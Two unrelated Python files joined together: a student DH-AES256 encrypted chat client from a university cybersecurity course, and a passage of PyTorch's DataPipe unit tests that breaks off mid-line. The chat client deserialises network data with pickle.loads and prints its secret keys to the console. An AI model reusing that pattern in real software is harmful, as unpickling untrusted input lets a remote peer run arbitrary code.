""" Università degli Studi Di Palermo Corso di Laurea Magistrale in Informatica Anno Accademico 2020/2021 Cybersecurity @author:Salvatore Calderaro DH-AES256 - Chatter """ from tkinter import * from time import sleep import threading import os import socket import pickle import diffie_hellman as dh import configobj import AES p=None g=None a=None A=None B=None K=None name = "Salvatore" user = None edit_text=None listbox=None root=None scrollbar=None host=None port=None client_socket=None """ Funzionw per il settaggio dei parametri p e g. """ def set_p_g_parmeters(parameters): global p,g p=parameters[0] g=parameters[1] """ Funzione per il print dei parametri. """ def print_parameters(): print("Client:") print("p:",p) print("g:",g) print("p bit size:",p.bit_length()) print("g bit size:",g.bit_length()) """ Funzione per la creazione della socket """ def create_client_socket(): global host,port,client_socket host = socket.gethostname() port = 5000 client_socket = socket.socket() client_socket.connect((host, port)) """ Funzione per l'inizializzazione della comunicazione """ def init_comm(): global a,A,B,K,user print("===================================================") print("********* CLIENT *********") print("===================================================") create_client_socket() parameters=dh.create_p_g() set_p_g_parmeters(parameters) print("Send to Server p,g;") print_parameters() client_socket.send(pickle.dumps(parameters)) a=dh.create_private_key(p) print("Private Key", a) A=dh.create_public_key(g,p,a) print("Public Key",A) print("Sending Public Key") client_socket.send(str(A).encode()) while True: print("Waiting the server public key:") B = client_socket.recv(512).decode() B = int (B) print("I recivied:",B) user=client_socket.recv(512).decode() print("I recivied:",user) break K=dh.create_shared_key(B,a,p) print("Shared Key",K) K=AES.apply_sha256(K) print("Shared Key (Byte)",K) """ Funzione per l'invio dei messaggi """ def send(): global client_socket,scrollbar,root nonce, ciphertext, tag=AES.encrypt(K,edit_text.get()) print("Ciphertext",ciphertext) client_socket.send(pickle.dumps([nonce,ciphertext,tag])) listbox.insert(END, name+":") listbox.insert(END, "Plaintext: "+ edit_text.get()) listbox.insert(END, "Ciphertext: "+ str(ciphertext)) listbox.see('end') if edit_text.get() == "Bye": edit_text.delete(0, END) print("End of comunication !") listbox.insert(END, "Fine comunicazione, chiudi la finestra !") listbox.insert(END, "*****************************************************") listbox.see('end') sleep(5) root.destroy() else: edit_text.delete(0, END) listbox.insert(END, "*****************************************************") listbox.see('end') """ Funzione per la ricezione dei messaggi """ def recv(): global root,scrollbar,client_socket while True: data = client_socket.recv(1000000) try: aes_data = pickle.loads(data) except: break print("I recivied:",aes_data[1]) plaintext = AES.decrypt(aes_data[0],aes_data[1],aes_data[2],K) print("Plaintext:",plaintext) listbox.insert(END, user+":") listbox.insert(END, "Ciphertext: "+ str(aes_data[1])) listbox.insert(END, "Plaintext: "+ plaintext) listbox.insert(END, "*****************************************************") edit_text.delete(0, END) listbox.see('end') if plaintext == "Bye": print("End of comunication !") listbox.insert(END, "Fine comunicazione, chiudi la finestra !") listbox.see('end') break """ Funzione per la gestione della gui """ def client_gui(): global edit_text,listbox,root root = Tk() init_comm() shared_key_label = Label(root, text="Shared key"+ "\n"+str(K)) shared_key_label.pack(fill=X, side=TOP) scrollbar = Scrollbar(root) scrollbar.pack(side=RIGHT, fill=Y) listbox = Listbox(root, yscrollcommand=scrollbar.set) listbox.pack(fill=BOTH, side=TOP) scrollbar.config(command=listbox.yview) button = Button(root, text="Send Message", command=send, bg='#4040bf') button.pack(fill=X, side=BOTTOM) edit_text = Entry(root) edit_text.pack(fill=X, side=BOTTOM) root.title("DH - AES 256 Chatter") root.geometry() root.resizable(width=False, height=False) threading.Thread(target=recv).start() root.mainloop() if __name__=="__main__": client_gui()
test_datapipe.py
import http.server import itertools import os import os.path import pickle import random import socketserver import sys import tarfile import tempfile import threading import time import unittest import warnings import zipfile from functools import partial from typing import ( Any, Awaitable, Dict, Generic, Iterator, List, NamedTuple, Optional, Set, Tuple, Type, TypeVar, Union, ) from unittest import skipIf import numpy as np import torch import torch.utils.data.backward_compatibility import torch.utils.data.datapipes as dp import torch.utils.data.graph import torch.utils.data.sharding from torch.testing._internal.common_utils import TestCase, run_tests from torch.utils.data import ( DataLoader, DataChunk, IterDataPipe, MapDataPipe, RandomSampler, argument_validation, runtime_validation, runtime_validation_disabled, ) from torch.utils.data.datapipes.utils.decoder import ( basichandlers as decoder_basichandlers, ) try: import dill # XXX: By default, dill writes the Pickler dispatch table to inject its # own logic there. This globally affects the behavior of the standard library # pickler for any user who transitively depends on this module! # Undo this extension to avoid altering the behavior of the pickler globally. dill.extend(use_dill=False) HAS_DILL = True except ImportError: HAS_DILL = False skipIfNoDill = skipIf(not HAS_DILL, "no dill") try: import pandas # type: ignore[import] # noqa: F401 F403 HAS_PANDAS = True except ImportError: HAS_PANDAS = False skipIfNoDataFrames = skipIf(not HAS_PANDAS, "no dataframes (pandas)") T_co = TypeVar("T_co", covariant=True) def create_temp_dir_and_files(): # The temp dir and files within it will be released and deleted in tearDown(). # Adding `noqa: P201` to avoid mypy's warning on not releasing the dir handle within this function. temp_dir = tempfile.TemporaryDirectory() # noqa: P201 temp_dir_path = temp_dir.name with tempfile.NamedTemporaryFile(dir=temp_dir_path, delete=False, suffix='.txt') as f: temp_file1_name = f.name with tempfile.NamedTemporaryFile(dir=temp_dir_path, delete=False, suffix='.byte') as f: temp_file2_name = f.name with tempfile.NamedTemporaryFile(dir=temp_dir_path, delete=False, suffix='.empty') as f: temp_file3_name = f.name with open(temp_file1_name, 'w') as f1: f1.write('0123456789abcdef') with open(temp_file2_name, 'wb') as f2: f2.write(b"0123456789abcdef") temp_sub_dir = tempfile.TemporaryDirectory(dir=temp_dir_path) # noqa: P201 temp_sub_dir_path = temp_sub_dir.name with tempfile.NamedTemporaryFile(dir=temp_sub_dir_path, delete=False, suffix='.txt') as f: temp_sub_file1_name = f.name with tempfile.NamedTemporaryFile(dir=temp_sub_dir_path, delete=False, suffix='.byte') as f: temp_sub_file2_name = f.name with open(temp_sub_file1_name, 'w') as f1: f1.write('0123456789abcdef') with open(temp_sub_file2_name, 'wb') as f2: f2.write(b"0123456789abcdef") return [(temp_dir, temp_file1_name, temp_file2_name, temp_file3_name), (temp_sub_dir, temp_sub_file1_name, temp_sub_file2_name)] # Given a DataPipe and integer n, iterate the DataPipe for n elements and store the elements into a list # Then, reset the DataPipe and return a tuple of two lists # 1. A list of elements yielded before the reset # 2. A list of all elements of the DataPipe after the reset def reset_after_n_next_calls(datapipe: IterDataPipe[T_co], n: int) -> Tuple[List[T_co], List[T_co]]: it = iter(datapipe) res_before_reset = [] for _ in range(n): res_before_reset.append(next(it)) return res_before_reset, list(datapipe) class TestDataChunk(TestCase): def setUp(self): self.elements = list(range(10)) random.shuffle(self.elements) self.chunk: DataChunk[int] = DataChunk(self.elements) def test_getitem(self): for i in range(10): self.assertEqual(self.elements[i], self.chunk[i]) def test_iter(self): for ele, dc in zip(self.elements, iter(self.chunk)): self.assertEqual(ele, dc) def test_len(self): self.assertEqual(len(self.elements), len(self.chunk)) def test_as_string(self): self.assertEqual(str(self.chunk), str(self.elements)) batch = [self.elements] * 3 chunks: List[DataChunk[int]] = [DataChunk(self.elements)] * 3 self.assertEqual(str(batch), str(chunks)) def test_sort(self): chunk: DataChunk[int] = DataChunk(self.elements) chunk.sort() self.assertTrue(isinstance(chunk, DataChunk)) for i, d in enumerate(chunk): self.assertEqual(i, d) def test_reverse(self): chunk: DataChunk[int] = DataChunk(self.elements) chunk.reverse() self.assertTrue(isinstance(chunk, DataChunk)) for i in range(10): self.assertEqual(chunk[i], self.elements[9 - i]) def test_random_shuffle(self): elements = list(range(10)) chunk: DataChunk[int] = DataChunk(elements) rng = random.Random(0) rng.shuffle(chunk) rng = random.Random(0) rng.shuffle(elements) self.assertEqual(chunk, elements) class TestIterableDataPipeBasic(TestCase): def setUp(self): ret = create_temp_dir_and_files() self.temp_dir = ret[0][0] self.temp_files = ret[0][1:] self.temp_sub_dir = ret[1][0] self.temp_sub_files = ret[1][1:] def tearDown(self): try: self.temp_sub_dir.cleanup() self.temp_dir.cleanup() except Exception as e: warnings.warn("TestIterableDatasetBasic was not able to cleanup temp dir due to {}".format(str(e))) def test_listdirfiles_iterable_datapipe(self): temp_dir = self.temp_dir.name datapipe = dp.iter.FileLister(temp_dir, '') count = 0 for pathname in datapipe: count = count + 1 self.assertTrue(pathname in self.temp_files) self.assertEqual(count, len(self.temp_files)) count = 0 datapipe = dp.iter.FileLister(temp_dir, '', recursive=True) for pathname in datapipe: count = count + 1 self.assertTrue((pathname in self.temp_files) or (pathname in self.temp_sub_files)) self.assertEqual(count, len(self.temp_files) + len(self.temp_sub_files)) def test_loadfilesfromdisk_iterable_datapipe(self): # test import datapipe class directly from torch.utils.data.datapipes.iter import ( FileLister, FileLoader, ) temp_dir = self.temp_dir.name datapipe1 = FileLister(temp_dir, '') datapipe2 = FileLoader(datapipe1) count = 0 for rec in datapipe2: count = count + 1 self.assertTrue(rec[0] in self.temp_files) with open(rec[0], 'rb') as f: self.assertEqual(rec[1].read(), f.read()) rec[1].close() self.assertEqual(count, len(self.temp_files)) # TODO(VitalyFedyunin): Generates unclosed buffer warning, need to investigate def test_readfilesfromtar_iterable_datapipe(self): temp_dir = self.temp_dir.name temp_tarfile_pathname = os.path.join(temp_dir, "test_tar.tar") with tarfile.open(temp_tarfile_pathname, "w:gz") as tar: tar.add(self.temp_files[0]) tar.add(self.temp_files[1]) tar.add(self.temp_files[2]) datapipe1 = dp.iter.FileLister(temp_dir, '*.tar') datapipe2 = dp.iter.FileLoader(datapipe1) datapipe3 = dp.iter.TarArchiveReader(datapipe2) # read extracted files before reaching the end of the tarfile for rec, temp_file in itertools.zip_longest(datapipe3, self.temp_files): self.assertTrue(rec is not None and temp_file is not None) self.assertEqual(os.path.basename(rec[0]), os.path.basename(temp_file)) with open(temp_file, 'rb') as f: self.assertEqual(rec[1].read(), f.read()) rec[1].close() # read extracted files after reaching the end of the tarfile data_refs = list(datapipe3) self.assertEqual(len(data_refs), len(self.temp_files)) for data_ref, temp_file in zip(data_refs, self.temp_files): self.assertEqual(os.path.basename(data_ref[0]), os.path.basename(temp_file)) with open(temp_file, 'rb') as f: self.assertEqual(data_ref[1].read(), f.read()) data_ref[1].close() def test_readfilesfromzip_iterable_datapipe(self): temp_dir = self.temp_dir.name temp_zipfile_pathname = os.path.join(temp_dir, "test_zip.zip") with zipfile.ZipFile(temp_zipfile_pathname, 'w') as myzip: myzip.write(self.temp_files[0]) myzip.write(self.temp_files[1]) myzip.write(self.temp_files[2]) datapipe1 = dp.iter.FileLister(temp_dir, '*.zip') datapipe2 = dp.iter.ZipArchiveReader(datapipe1) # Test Case: read extracted files before reaching the end of the zipfile for rec, temp_file in itertools.zip_longest(datapipe2, self.temp_files): self.assertTrue(rec is not None and temp_file is not None) self.assertEqual(os.path.basename(rec[0]), os.path.basename(temp_file)) with open(temp_file, 'rb') as f: self.assertEqual(rec[1].read(), f.read()) rec[1].close() # Test Case: read extracted files after reaching the end of the zipile data_refs = list(datapipe2) self.assertEqual(len(data_refs), len(self.temp_files)) for data_ref, temp_file in zip(data_refs, self.temp_files): self.assertEqual(os.path.basename(data_ref[0]), os.path.basename(temp_file)) with open(temp_file, 'rb') as f: self.assertEqual(data_ref[1].read(), f.read()) data_ref[1].close() # Test Case: reset the DataPipe after reading part of it n_elements_before_reset = 1 res_before_reset, res_after_reset = reset_after_n_next_calls(datapipe2, n_elements_before_reset) # Check the results accumulated before reset self.assertEqual(len(res_before_reset), n_elements_before_reset) for ele_before_reset, temp_file in zip(res_before_reset, self.temp_files): self.assertEqual(os.path.basename(ele_before_reset[0]), os.path.basename(temp_file)) with open(temp_file, 'rb') as f: self.assertEqual(ele_before_reset[1].read(), f.read()) ele_before_reset[1].close() # Check the results accumulated after reset self.assertEqual(len(res_after_reset), len(self.temp_files)) for ele_after_reset, temp_file in zip(res_after_reset, self.temp_files): self.assertEqual(os.path.basename(ele_after_reset[0]), os.path.basename(temp_file)) with open(temp_file, 'rb') as f: self.assertEqual(ele_after_reset[1].read(), f.read()) ele_after_reset[1].close() def test_routeddecoder_iterable_datapipe(self): temp_dir = self.temp_dir.name temp_pngfile_pathname = os.path.join(temp_dir, "test_png.png") png_data = np.array([[[1., 0., 0.], [1., 0., 0.]], [[1., 0., 0.], [1., 0., 0.]]], dtype=np.single) np.save(temp_pngfile_pathname, png_data) datapipe1 = dp.iter.FileLister(temp_dir, ['*.png', '*.txt']) datapipe2 = dp.iter.FileLoader(datapipe1) def _png_decoder(extension, data): if extension != 'png': return None return np.load(data) def _helper(prior_dp, dp, channel_first=False): # Byte stream is not closed for inp in prior_dp: self.assertFalse(inp[1].closed) for inp, rec in zip(prior_dp, dp): ext = os.path.splitext(rec[0])[1] if ext == '.png': expected = np.array([[[1., 0., 0.], [1., 0., 0.]], [[1., 0., 0.], [1., 0., 0.]]], dtype=np.single) if channel_first: expected = expected.transpose(2, 0, 1) self.assertEqual(rec[1], expected) else: with open(rec[0], 'rb') as f: self.assertEqual(rec[1], f.read().decode('utf-8')) # Corresponding byte stream is closed by Decoder self.assertTrue(inp[1].closed) cached = list(datapipe2) datapipe3 = dp.iter.RoutedDecoder(cached, _png_decoder) datapipe3.add_handler(decoder_basichandlers) _helper(cached, datapipe3) cached = list(datapipe2) datapipe4 = dp.iter.RoutedDecoder(cached, decoder_basichandlers) datapipe4.add_handler(_png_decoder) _helper(cached, datapipe4, channel_first=True) # TODO(VitalyFedyunin): Generates unclosed buffer warning, need to investigate def test_groupby_iterable_datapipe(self): temp_dir = self.temp_dir.name temp_tarfile_pathname = os.path.join(temp_dir, "test_tar.tar") file_list = [ "a.png", "b.png", "c.json", "a.json", "c.png", "b.json", "d.png", "d.json", "e.png", "f.json", "g.png", "f.png", "g.json", "e.json", "h.txt", "h.json"] with tarfile.open(temp_tarfile_pathname, "w:gz") as tar: for file_name in file_list: file_pathname = os.path.join(temp_dir, file_name) with open(file_pathname, 'w') as f: f.write('12345abcde') tar.add(file_pathname) datapipe1 = dp.iter.FileLister(temp_dir, '*.tar') datapipe2 = dp.iter.FileLoader(datapipe1) datapipe3 = dp.iter.TarArchiveReader(datapipe2) def group_fn(data): filepath, _ = data return os.path.basename(filepath).split(".")[0] datapipe4 = dp.iter.Grouper(datapipe3, group_key_fn=group_fn, group_size=2) def order_fn(data): data.sort(key=lambda f: f[0], reverse=True) return data datapipe5 = dp.iter.Mapper(datapipe4, fn=order_fn) # type: ignore[var-annotated] expected_result = [ ("a.png", "a.json"), ("c.png", "c.json"), ("b.png", "b.json"), ("d.png", "d.json"), ("f.png", "f.json"), ("g.png", "g.json"), ("e.png", "e.json"), ("h.txt", "h.json")] count = 0 for rec, expected in zip(datapipe5, expected_result): count = count + 1 self.assertEqual(os.path.basename(rec[0][0]), expected[0]) self.assertEqual(os.path.basename(rec[1][0]), expected[1]) for i in [0, 1]: self.assertEqual(rec[i][1].read(), b'12345abcde') rec[i][1].close() self.assertEqual(count, 8) def test_demux_mux_datapipe(self): numbers = NumbersDataset(10) n1, n2 = numbers.demux(2, lambda x: x % 2) self.assertEqual([0, 2, 4, 6, 8], list(n1)) self.assertEqual([1, 3, 5, 7, 9], list(n2)) numbers = NumbersDataset(10) n1, n2, n3 = numbers.demux(3, lambda x: x % 3) n = n1.mux(n2, n3) self.assertEqual(list(range(10)), list(n)) # Test Case: Uneven DataPipes source_numbers = list(range(0, 10)) + [10, 12] numbers_dp = IDP(source_numbers) n1, n2 = numbers_dp.demux(2, lambda x: x % 2) self.assertEqual([0, 2, 4, 6, 8, 10, 12], list(n1)) self.assertEqual([1, 3, 5, 7, 9], list(n2)) n = n1.mux(n2) self.assertEqual(source_numbers, list(n)) class TestDataFramesPipes(TestCase): """ Most of test will fail if pandas instaled, but no dill available. Need to rework them to avoid multiple skips. """ def _get_datapipe(self, range=10, dataframe_size=7): return NumbersDataset(range) \ .map(lambda i: (i, i % 3)) def _get_dataframes_pipe(self, range=10, dataframe_size=7): return NumbersDataset(range) \ .map(lambda i: (i, i % 3)) \ ._to_dataframes_pipe( columns=['i', 'j'], dataframe_size=dataframe_size) @skipIfNoDataFrames @skipIfNoDill # TODO(VitalyFedyunin): Decouple tests from dill by avoiding lambdas in map def test_capture(self): dp_numbers = self._get_datapipe().map(lambda x: (x[0], x[1], x[1] + 3 * x[0])) df_numbers = self._get_dataframes_pipe() df_numbers['k'] = df_numbers['j'] + df_numbers.i * 3 self.assertEqual(list(dp_numbers), list(df_numbers)) @skipIfNoDataFrames @skipIfNoDill def test_shuffle(self): # With non-zero (but extremely low) probability (when shuffle do nothing), # this test fails, so feel free to restart df_numbers = self._get_dataframes_pipe(range=1000).shuffle() dp_numbers = self._get_datapipe(range=1000) df_result = [tuple(item) for item in df_numbers] self.assertNotEqual(list(dp_numbers), df_result) self.assertEqual(list(dp_numbers), sorted(df_result)) @skipIfNoDataFrames @skipIfNoDill def test_batch(self): df_numbers = self._get_dataframes_pipe(range=100).batch(8) df_numbers_list = list(df_numbers) last_batch = df_numbers_list[-1] self.assertEqual(4, len(last_batch)) unpacked_batch = [tuple(row) for row in last_batch] self.assertEqual([(96, 0), (97, 1), (98, 2), (99, 0)], unpacked_batch) @skipIfNoDataFrames @skipIfNoDill def test_unbatch(self): df_numbers = self._get_dataframes_pipe(range=100).batch(8).batch(3) dp_numbers = self._get_datapipe(range=100) self.assertEqual(list(dp_numbers), list(df_numbers.unbatch(2))) @skipIfNoDataFrames @skipIfNoDill def test_filter(self): df_numbers = self._get_dataframes_pipe(range=10).filter(lambda x: x.i > 5) self.assertEqual([(6, 0), (7, 1), (8, 2), (9, 0)], list(df_numbers)) class FileLoggerSimpleHTTPRequestHandler(http.server.SimpleHTTPRequestHandler): def __init__(self, *args, logfile=None, **kwargs): self.__loggerHandle = None if logfile is not None: self.__loggerHandle = open(logfile, 'a+') super().__init__(*args, **kwargs) def log_message(self, format, *args): if self.__loggerHandle is not None: self.__loggerHandle.write("%s - - [%s] %s\n" % (self.address_string(), self.log_date_time_string(), format % args)) return def finish(self): if self.__loggerHandle is not None: self.__loggerHandle.close() super().finish() def setUpLocalServerInThread(): try: Handler = partial(FileLoggerSimpleHTTPRequestHandler, logfile=None) socketserver.TCPServer.allow_reuse_address = True server = socketserver.TCPServer(("", 0), Handler) server_addr = "{host}:{port}".format(host=server.server_address[0], port=server.server_address[1]) server_thread = threading.Thread(target=server.serve_forever) server_thread.start() # Wait a bit for the server to come up time.sleep(3) return (server_thread, server_addr, server) except Exception: raise def create_temp_files_for_serving(tmp_dir, file_count, file_size, file_url_template): furl_local_file = os.path.join(tmp_dir, "urls_list") with open(furl_local_file, 'w') as fsum: for i in range(0, file_count): f = os.path.join(tmp_dir, "webfile_test_{num}.data".format(num=i)) write_chunk = 1024 * 1024 * 16 rmn_size = file_size while rmn_size > 0: with open(f, 'ab+') as fout: fout.write(os.urandom(min(rmn_size, write_chunk))) rmn_size = rmn_size - min(rmn_size, write_chunk) fsum.write(file_url_template.format(num=i)) class TestIterableDataPipeHttp(TestCase): __server_thread: threading.Thread __server_addr: str __server: socketserver.TCPServer @classmethod def setUpClass(cls): try: (cls.__server_thread, cls.__server_addr, cls.__server) = setUpLocalServerInThread() except Exception as e: warnings.warn("TestIterableDataPipeHttp could\ not set up due to {0}".format(str(e))) @classmethod def tearDownClass(cls): try: cls.__server.shutdown() cls.__server_thread.join(timeout=15) except Exception as e: warnings.warn("TestIterableDataPipeHttp could\ not tear down (clean up temp directory or terminate\ local server) due to {0}".format(str(e))) def _http_test_base(self, test_file_size, test_file_count, timeout=None, chunk=None): def _get_data_from_tuple_fn(data, *args, **kwargs): return data[args[0]] with tempfile.TemporaryDirectory(dir=os.getcwd()) as tmpdir: # create tmp dir and files for test base_tmp_dir = os.path.basename(os.path.normpath(tmpdir)) file_url_template = ("http://{server_addr}/{tmp_dir}/" "/webfile_test_{num}.data\n")\ .format(server_addr=self.__server_addr, tmp_dir=base_tmp_dir, num='{num}') create_temp_files_for_serving(tmpdir, test_file_count, test_file_size, file_url_template) datapipe_dir_f = dp.iter.FileLister(tmpdir, '*_list') datapipe_stream = dp.iter.FileLoader(datapipe_dir_f) datapipe_f_lines = dp.iter.LineReader(datapipe_stream) datapipe_line_url: IterDataPipe[str] = \ dp.iter.Mapper(datapipe_f_lines, _get_data_from_tuple_fn, (1,)) datapipe_http = dp.iter.HttpReader(datapipe_line_url, timeout=timeout) datapipe_tob = dp.iter.StreamReader(datapipe_http, chunk=chunk) for (url, data) in datapipe_tob: self.assertGreater(len(url), 0) self.assertRegex(url, r'^http://.+\d+.data$') if chunk is not None: self.assertEqual(len(data), chunk) else: self.assertEqual(len(data), test_file_size) @unittest.skip("Stress test on large amount of files skipped\ due to the CI timing constraint.") def test_stress_http_reader_iterable_datapipes(self): test_file_size = 10 # STATS: It takes about 5 hours to stress test 16 * 1024 * 1024 # files locally test_file_count = 1024 self._http_test_base(test_file_size, test_file_count) @unittest.skip("Test on the very large file skipped\ due to the CI timing constraint.") def test_large_files_http_reader_iterable_datapipes(self): # STATS: It takes about 11 mins to test a large file of 64GB locally test_file_size = 1024 * 1024 * 128 test_file_count = 1 timeout = 30 chunk = 1024 * 1024 * 8 self._http_test_base(test_file_size, test_file_count, timeout=timeout, chunk=chunk) class IDP_NoLen(IterDataPipe): def __init__(self, input_dp): super().__init__() self.input_dp = input_dp def __iter__(self): for i in self.input_dp: yield i class IDP(IterDataPipe): def __init__(self, input_dp): super().__init__() self.input_dp = input_dp self.length = len(input_dp) def __iter__(self): for i in self.input_dp: yield i def __len__(self): return self.length class MDP(MapDataPipe): def __init__(self, input_dp): super().__init__() self.input_dp = input_dp self.length = len(input_dp) def __getitem__(self, index): return self.input_dp[index] def __len__(self) -> int: return self.length def _fake_fn(data, *args, **kwargs): return data def _fake_filter_fn(data, *args, **kwargs): return data >= 5 def _worker_init_fn(worker_id): random.seed(123) class TestFunctionalIterDataPipe(TestCase): # TODO(VitalyFedyunin): If dill installed this test fails def _test_picklable(self): arr = range(10) picklable_datapipes: List[Tuple[Type[IterDataPipe], IterDataPipe, Tuple, Dict[str, Any]]] = [ (dp.iter.Mapper, IDP(arr), (), {}), (dp.iter.Mapper, IDP(arr), (_fake_fn, (0, ), {'test': True}), {}), (dp.iter.Collator, IDP(arr), (), {}), (dp.iter.Collator, IDP(arr), (_fake_fn, (0, ), {'test': True}), {}), (dp.iter.Filter, IDP(arr), (_fake_filter_fn, (0, ), {'test': True}), {}), ] for dpipe, input_dp, dp_args, dp_kwargs in picklable_datapipes: p = pickle.dumps(dpipe(input_dp, *dp_args, **dp_kwargs)) # type: ignore[call-arg] unpicklable_datapipes: List[Tuple[Type[IterDataPipe], IterDataPipe, Tuple, Dict[str, Any]]] = [ (dp.iter.Mapper, IDP(arr), (lambda x: x, ), {}), (dp.iter.Collator, IDP(arr), (lambda x: x, ), {}), (dp.iter.Filter, IDP(arr), (lambda x: x >= 5, ), {}), ] for dpipe, input_dp, dp_args, dp_kwargs in unpicklable_datapipes: with warnings.catch_warnings(record=True) as wa: datapipe = dpipe(input_dp, *dp_args, **dp_kwargs) # type: ignore[call-arg] self.assertEqual(len(wa), 1) self.assertRegex(str(wa[0].message), r"^Lambda function is not supported for pickle") with self.assertRaises(AttributeError): p = pickle.dumps(datapipe) def test_concat_datapipe(self): input_dp1 = IDP(range(10)) input_dp2 = IDP(range(5)) with self.assertRaisesRegex(ValueError, r"Expected at least one DataPipe"): dp.iter.Concater() with self.assertRaisesRegex(TypeError, r"Expected all inputs to be `IterDataPipe`"): dp.iter.Concater(input_dp1, ()) # type: ignore[arg-type] concat_dp = input_dp1.concat(input_dp2) self.assertEqual(len(concat_dp), 15) self.assertEqual(list(concat_dp), list(range(10)) + list(range(5))) # Test Reset self.assertEqual(list(concat_dp), list(range(10)) + list(range(5))) input_dp_nl = IDP_NoLen(range(5)) concat_dp = input_dp1.concat(input_dp_nl) with self.assertRaisesRegex(TypeError, r"instance doesn't have valid length$"): len(concat_dp) self.assertEqual(list(concat_dp), list(range(10)) + list(range(5))) def test_fork_datapipe(self): input_dp = IDP(range(10)) # Test Case: making sure all child DataPipe shares the same reference dp1, dp2, dp3 = input_dp.fork(num_instances=3) self.assertTrue(all(n1 is n2 and n1 is n3 for n1, n2, n3 in zip(dp1, dp2, dp3))) # Test Case: one child DataPipe yields all value at a time output1, output2, output3 = list(dp1), list(dp2), list(dp3) self.assertEqual(list(range(10)), output1) self.assertEqual(list(range(10)), output2) self.assertEqual(list(range(10)), output3) # Test Case: two child DataPipes yield value together dp1, dp2 = input_dp.fork(num_instances=2) output = [] for n1, n2 in zip(dp1, dp2): output.append((n1, n2)) self.assertEqual([(i, i) for i in range(10)], output) # Test Case: one child DataPipe yields all value first, but buffer_size = 5 being too small dp1, dp2 = input_dp.fork(num_instances=2, buffer_size=5) it1 = iter(dp1) for _ in range(5): next(it1) with self.assertRaises(BufferError): next(it1) # Test Case: two child DataPipes yield value together with buffer size 1 dp1, dp2 = input_dp.fork(num_instances=2, buffer_size=1) output = [] for n1, n2 in zip(dp1, dp2): output.append((n1, n2)) self.assertEqual([(i, i) for i in range(10)], output) # Test Case: make sure logic related to slowest_ptr is working properly dp1, dp2, dp3 = input_dp.fork(num_instances=3) output1, output2 , output3 = [], [], [] for i, (n1, n2) in enumerate(zip(dp1, dp2)): output1.append(n1) output2.append(n2) if i == 4: # yield all of dp3 when halfway through dp1, dp2 output3 = list(dp3) break self.assertEqual(list(range(5)), output1) self.assertEqual(list(range(5)), output2) self.assertEqual(list(range(10)), output3) # Test Case: DataPipe doesn't reset if this pipe hasn't been read dp1, dp2 = input_dp.fork(num_instances=2) i1, i2 = iter(dp1), iter(dp2) output2 = [] for i, n2 in enumerate(i2): output2.append(n2) if i == 4: i1 = iter(dp1) # Doesn't reset because i1 hasn't been read self.assertEqual(list(range(10)), output2) # Test Case: DataPipe reset when some of it have been read dp1, dp2 = input_dp.fork(num_instances=2) i1, i2 = iter(dp1), iter(dp2) output1, output2 = [], [] for i, (n1, n2) in enumerate(zip(i1, i2)): output1.append(n1) output2.append(n2) if i == 4: with warnings.catch_warnings(record=True) as wa: i1 = iter(dp1) # Reset both all child DataPipe self.assertEqual(len(wa), 1) self.assertRegex(str(wa[0].message), r"Some child DataPipes are not exhausted") self.assertEqual(list(range(5)) + list(range(10)), output1) self.assertEqual(list(range(5)) + list(range(10)), output2) # Test Case: DataPipe reset, even when some other child DataPipes are not read dp1, dp2, dp3 = input_dp.fork(num_instances=3) output1, output2 = list(dp1), list(dp2) self.assertEqual(list(range(10)), output1) self.assertEqual(list(range(10)), output2) with warnings.catch_warnings(record=True) as wa: self.assertEqual(list(range(10)), list(dp1)) # Resets even though dp3 has not been read self.assertEqual(len(wa), 1) self.assertRegex(str(wa[0].message), r"Some child DataPipes are not exhausted") output3 = [] for i, n3 in enumerate(dp3): output3.append(n3) if i == 4: with warnings.catch_warnings(record=True) as wa: output1 = list(dp1) # Resets even though dp3 is only partially read self.assertEqual(len(wa), 1) self.assertRegex(str(wa[0].message), r"Some child DataPipes are not exhausted") self.assertEqual(list(range(5)), output3) self.assertEqual(list(range(10)), output1) break self.assertEqual(list(range(10)), list(dp3)) # dp3 has to read from the start again # Test Case: Each DataPipe inherits the source datapipe's length dp1, dp2, dp3 = input_dp.fork(num_instances=3) self.assertEqual(len(input_dp), len(dp1)) self.assertEqual(len(input_dp), len(dp2)) self.assertEqual(len(input_dp), len(dp3)) def test_demux_datapipe(self): input_dp = IDP(range(10)) # Test Case: split into 2 DataPipes and output them one at a time dp1, dp2 = input_dp.demux(num_instances=2, classifier_fn=lambda x: x % 2) output1, output2 = list(dp1), list(dp2) self.assertEqual(list(range(0, 10, 2)), output1) self.assertEqual(list(range(1, 10, 2)), output2) # Test Case: split into 2 DataPipes and output them together dp1, dp2 = input_dp.demux(num_instances=2, classifier_fn=lambda x: x % 2) output = [] for n1, n2 in zip(dp1, dp2): output.append((n1, n2)) self.assertEqual([(i, i + 1) for i in range(0, 10, 2)], output) # Test Case: values of the same classification are lumped together, and buffer_size = 3 being too small dp1, dp2 = input_dp.demux(num_instances=2, classifier_fn=lambda x: 0 if x >= 5 else 1, buffer_size=4) it1 = iter(dp1) with self.assertRaises(BufferError): next(it1) # Buffer raises because first 5 elements all belong to the a different child # Test Case: values of the same classification are lumped together, and buffer_size = 5 is just enough dp1, dp2 = input_dp.demux(num_instances=2, classifier_fn=lambda x: 0 if x >= 5 else 1, buffer_size=5) output1, output2 = list(dp1), list(dp2) self.assertEqual(list(range(5, 10)), output1) self.assertEqual(list(range(0, 5)), output2) # Test Case: classifer returns a value outside of [0, num_instance - 1] dp = input_dp.demux(num_instances=1, classifier_fn=lambda x: x % 2) it = iter(dp[0]) with self.assertRaises(ValueError): next(it) next(it) # Test Case: DataPipe doesn't reset when it has not been read dp1, dp2 = input_dp.demux(num_instances=2, classifier_fn=lambda x: x % 2) i1 = iter(dp1) output2 = [] i = 0 for i, n2 in enumerate(dp2): output2.append(n2) if i == 4: i1 = iter(dp1) self.assertEqual(list(range(1, 10, 2)), output2) # Test Case: DataPipe reset when some of it has been read dp1, dp2 = input_dp.demux(num_instances=2, classifier_fn=lambda x: x % 2) output1, output2 = [], [] for n1, n2 in zip(dp1, dp2): output1.append(n1) output2.append(n2) if n1 == 4: break with warnings.catch_warnings(record=True) as wa: i1 = iter(dp1) # Reset all child DataPipes self.assertEqual(len(wa), 1) self.assertRegex(str(wa[0].message), r"Some child DataPipes are not exhausted") for n1, n2 in zip(dp1, dp2): output1.append(n1) output2.append(n2) self.assertEqual([0, 2, 4] + list(range(0, 10, 2)), output1) self.assertEqual([1, 3, 5] + list(range(1, 10, 2)), output2) # Test Case: DataPipe reset, even when not all child DataPipes are exhausted dp1, dp2 = input_dp.demux(num_instances=2, classifier_fn=lambda x: x % 2) output1 = list(dp1) self.assertEqual(list(range(0, 10, 2)), output1) with warnings.catch_warnings(record=True) as wa: 